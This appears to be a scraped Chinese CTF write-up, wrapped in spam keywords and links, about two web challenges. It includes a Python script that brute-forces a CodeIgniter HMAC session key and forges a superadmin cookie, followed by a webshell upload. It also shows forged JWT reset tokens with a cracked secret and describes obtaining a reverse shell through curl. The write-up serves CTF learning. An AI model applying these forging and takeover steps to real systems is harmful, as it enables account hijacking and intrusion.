当前位置: 首页 > news >正文

银川网站开发培训手机网站创建站点成功

银川网站开发培训,手机网站创建站点成功,中国铁建集团门户网官网,莘县网站定制目录 前言 baby-Codeigniter 组合拳#xff01; 前言 本想着说看看go的gin框架就睡了的#xff0c;r3师傅提醒说赛题环境已经上了#xff0c;那不赶紧研究下#x1f600; 主要来谈谈做题的心路历程 baby-Codeigniter 拿到题目的第一反应应该是#xff1a;“什么是C…目录 前言 baby-Codeigniter 组合拳 前言 本想着说看看go的gin框架就睡了的r3师傅提醒说赛题环境已经上了那不赶紧研究下 主要来谈谈做题的心路历程 baby-Codeigniter 拿到题目的第一反应应该是“什么是Codeigniter”接着自然会去面向搜索引擎解题 在那之前我们可以做到一些有限的事 弱口令admin 123456登录成功 但权限不够需要super administor自然的我们会去看cookie url解码后是一段有意义的键值对hash值 尝试将0改为1(false-true)并urlencode还原 然未果显然结尾的hash部分是鉴权的关键具体的密钥、算法这些我们都不知道需要借助搜索引擎。但大方向我们基本可以确定是session伪造了 很容易搜出P牛文章 客户端 session 导致的安全问题 | 离别歌 接着就顺藤摸瓜找到爆破secretkey的 https://github.com/Dionach/CodeIgniterXor 但并不能爆出来然后当时就卡死了啊哈哈( 后来询问出题人说用的那套源码不是xor加密而是hash_hmac加密前者是更低版本的加密方式 歪日可是也没给我源码啊QWQ( 不妨在此处下个断言“在拿到源码的条件下只要验证信息存储在了客户端而非服务端都有伪造的可能。” 审计源码找到set_cookie的逻辑 function _set_cookie($cookie_data NULL) { if (is_null($cookie_data)) { $cookie_data $this-userdata; } // Serialize the userdata for the cookie $cookie_data $this-_serialize($cookie_data); if ($this-sess_encrypt_cookie TRUE) { $cookie_data $this-CI-encrypt-encode($cookie_data); } $cookie_data . hash_hmac(sha1, $cookie_data, $this-encryption_key); $expire ($this-sess_expire_on_close TRUE) ? 0 : $this-sess_expiration time(); // Set the cookie setcookie( $this-sess_cookie_name, $cookie_data, $expire, $this-cookie_path, $this-cookie_domain, $this-cookie_secure ); 函数名为 _set_cookie它接受一个可选参数 $cookie_data用于指定要存储在 cookie 中的会话数据。如果没有提供 $cookie_data 参数函数将使用类属性 $this-userdata 中的数据。接下来会话数据被序列化以便存储在 cookie 中。这是因为 cookie 只能存储字符串数据所以需要序列化对象或数组等非字符串数据。如果配置中设置了 sess_encrypt_cookie 为 TRUE则会话数据会被加密。这通常用于提高安全性以防止会话数据被篡改。接着会话数据被附加上一个 HMACHash-based Message Authentication Code以确保数据的完整性和真实性。HMAC 是通过将密钥和数据进行哈希计算而生成的。过期时间 expire 被设置为 $this-sess_expire_on_close 为 TRUE 时为 0否则为当前时间加上会话过期时间。最后使用 setcookie 函数来设置 cookie包括 cookie 的名称、值、过期时间、路径、域和安全性等信息。 显然靶机这里sess_encrypt_cookie为false那就好办了我们可以用爆破的方式来反向推出密钥 根据上述逻辑交给gpt去写爆破脚本 import hmac import urllib.parse import hashlib import timedef EncryCookie(cookie,secret):cookie urllib.parse.unquote_plus(cookie)cookielenlen(cookie)-40cookie cookie[:cookielen].replace(superadmin;b:0;},superadmin;b:1;})hmacstrhmac.new(secret.encode(utf-8),cookie.encode(utf-8),hashlib.sha1).hexdigest()return urllib.parse.quote_plus(cookiehmacstr)def CrackSecret(cookie,secret):cookie urllib.parse.unquote_plus(cookie)cookielenlen(cookie)-40hmac_check cookie[cookielen:]cookie cookie[:cookielen]hmacstrhmac.new(secret.encode(utf-8),cookie.encode(utf-8),hashlib.sha1).hexdigest()return hmac_check hmacstrif __name__ __main__:cookie a%3A9%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2299e46d024b833c6b5500dedf50c788b6%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22211.83.126.36%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A111%3A%22Mozilla%2F5.0%28WindowsNT10.0%3BWin64%3Bx64%29AppleWebKit%2F537.36%28KHTML%2ClikeGecko%29Chrome%2F123.0.0.0Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1711815002%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A12%3A%22is_logged_in%22%3Bb%3A1%3Bs%3A10%3A%22superadmin%22%3Bb%3A0%3B%7D0dc8ff2053d4e55770718165801d42d106b53040secrets []with open(secret.txt) as f:secrets f.readlines()starttimetime.time()for secret in secrets:secretsecret.strip(\n)result CrackSecret(cookie,secret)if result True:print([]Success:secret)encrycookieEncryCookie(cookie,secret)print(encrycookie)exit(0)else:print([-]Test:secret) 成功爆破出密钥为123456并拿到伪造的session 带着修改的cookie上传shell 连蚁剑拿flag 组合拳 进来弱口令没爆出admin然后注册个账号尝试登录显示权限过低这不一眼垂直越权 还没登录进去自然也就没有cookie不能直接伪造 那咋整呢可以去研究下“忘记密码”功能 拿到一段重置密码的url http://node6.anna.nssctf.cn:28537/#/reset_token?email2113566520qq.comtokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMjExMzU2NjUyMEBxcS5jb20iLCJlbWFpbCI6IjIxMTM1NjY1MjBAcXEuY29tIiwidHlwZSI6M30.iyVS_MGthahgJtRcTbICgKP4tYySG8c_9h1Y6vrc9UA 分为两部分第一部分是email地址第二部分是一段jwt的token 关于管理员email地址可以扫一下目录 访问/.well-known/security.txt 得知管理员邮箱为Administrator163.com 访问/README.md不知道有啥用 搞定了email的问题我们下面重点关注token 直接拖到jwt.io里去解密很明显要把name和email分别改成admin和Administrator163.com jwt的密钥用jwtcrack来爆破就行得到是APjT 再伪造下jwt 访问url http://node6.anna.nssctf.cn:28537/#/reset_token?emailAdministrator163.comtokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjN9.X6FS_v6PLmG4jkZib0PmJZbs4WARAWc1bQsAmBPrxQI 重置好了密码为123456 输入admin 123456成功登录 更多功能-资源下载 对任务内容base64解码后为print(hello world)是一段py代码 我们只要给恶意命令base64编码然后更新任务即可但抽象的是更新的间隙足足有864000秒即24小时而且貌似前端还改不来 提交也抓不来包只能审js了(这里真的很不擅长只能跟着官方wp走了 其给出的合理说法是每当更新任务时都会调用getKey 其响应体为 关键词搜索keycode 这里的逻辑是判断keycode是否为字符串是就跳转到 case 11 分支 在return处下断点 可以看到最后的返回值就是n和o的异或的结果这个我们不必在意只要知道与二者都相关就可 将反弹shell命令base64编码(经过询问出题人直接nc或bash靶机都不支持只能curl了) 用这个网站来弹 https://your-shell.com/ 在此处下断点可以操作局部变量n 控制台改n的值令time为1 继续跟几步可以看到成功修改了time  成功执行命令反弹shell拿到flag
http://www.sczhlp.com/news/176250/

相关文章:

  • 太原云起时网站建设asp网站中停止后面代码的运行
  • Codeforces Round 1042 (CF2131) 补题笔记(A-E)
  • 10月8日
  • 【OpenGL ES】光栅化插值原理和射线拾取原理
  • JAVA课后作业
  • 详细介绍:录制mp4
  • 做视频网站怎么赚钱的小程序源码能直接用吗
  • 5元购买已备案域名沐风seo
  • 小型网站建设多少钱做网站每年运营要花掉多少钱
  • 小型网站建设多少钱站内关键词排名软件
  • 哪个行业最需要做网站自助网站建设推广优化策略
  • 个人主页网站开发背景yandx引擎入口
  • 洛阳市App网站开发公司七米网站建设
  • 百度爱采购网站江西省企业登记网络服务平台官网
  • 科技设计网站有哪些内容企业网站开发综合实训
  • 企业网站建设的公司价格做谷歌推广一个月赚10万
  • 免费做app的网站哪个好万网二手已备案域名
  • 网站做的图上传后字变得很模糊wordpress 截取
  • 展示空间在线设计平台企业网站源码利于优化
  • 网站除了域名还要什么免费asp主机网站
  • 网站流量查询工具优秀网站例子
  • 做网站的属于什么户外广告牌报价明细表
  • 成都中小企业申请网站阿里云网站建设教程视频
  • 沧州企业网站建设开发一个淘宝app需要多少钱
  • 苏中建设集团官方网站网页搜索引擎大全
  • 地方门户网站盈利建材网站方案
  • 企业如何做好网站的seo优化子主题wordpress
  • 上海企业网站建设制作做梯子的企业网站
  • 北京网站建设华网天下买送两年怎样建设自己的视频网站首页
  • 电商网站开发 上海专业手机移动网站设计